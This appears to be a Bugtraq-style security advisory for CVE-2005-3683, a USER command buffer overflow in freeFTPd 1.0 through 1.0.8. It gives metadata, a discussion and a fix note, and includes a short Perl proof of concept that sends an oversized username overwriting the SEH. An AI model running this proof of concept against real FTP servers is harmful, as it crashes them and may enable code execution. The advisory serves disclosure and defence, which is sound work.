BID:15457

FreeFTPD User Command Buffer Overflow Vulnerability

Info

FreeFTPD User Command Buffer Overflow Vulnerability

Bugtraq ID:	15457
Class:	Boundary Condition Error
CVE:	CVE-2005-3683
Remote:	Yes
Local:	No
Published:	Nov 16 2005 12:00AM
Updated:	Aug 24 2006 07:19PM
Credit:	barabas mutsonline <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	freeFTPd freeFTPd 1.0.8 freeFTPd freeFTPd 1.0.7 freeFTPd freeFTPd 1.0.6 freeFTPd freeFTPd 1.0.5 freeFTPd freeFTPd 1.0.4 freeFTPd freeFTPd 1.0.3 freeFTPd freeFTPd 1.0.2 freeFTPd freeFTPd 1.0.1 freeFTPd freeFTPd 1.0

Not Vulnerable:	freeFTPd freeFTPd 1.0.10

Discussion

FreeFTPD User Command Buffer Overflow Vulnerability

freeFTPd is prone to a buffer overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before storing it in a finite sized buffer.

An attacker can exploit this issue to crash the server, denying service to legitimate users. Arbitrary code execution with SYSTEM privileges may also be possible.

Exploit / POC

FreeFTPD User Command Buffer Overflow Vulnerability

The following proof of concept is available:
#!/usr/bin/perl -w
#freeftpd USER buffer overflow
#barabas - 2005

use strict;
use Net::FTP;
my $user="\x41"x1011;
$user .="\x44\x45\x46\x47";#overwrite SEH
$user .="\x50"x400;

my $ftp = Net::FTP->new("www.example.com <http://www.example.com>", Debug => 1);
$ftp->login("$user","whatevah");

An exploit for the Metasploit Framework has been released.

/data/vulnerabilities/exploits/freeftpd_user.pm

Solution / Fix

FreeFTPD User Command Buffer Overflow Vulnerability

Solution:
The vendor has released an updated version addressing this and other issues. Users should contact the vendor for further information.

freeFTPd freeFTPd 1.0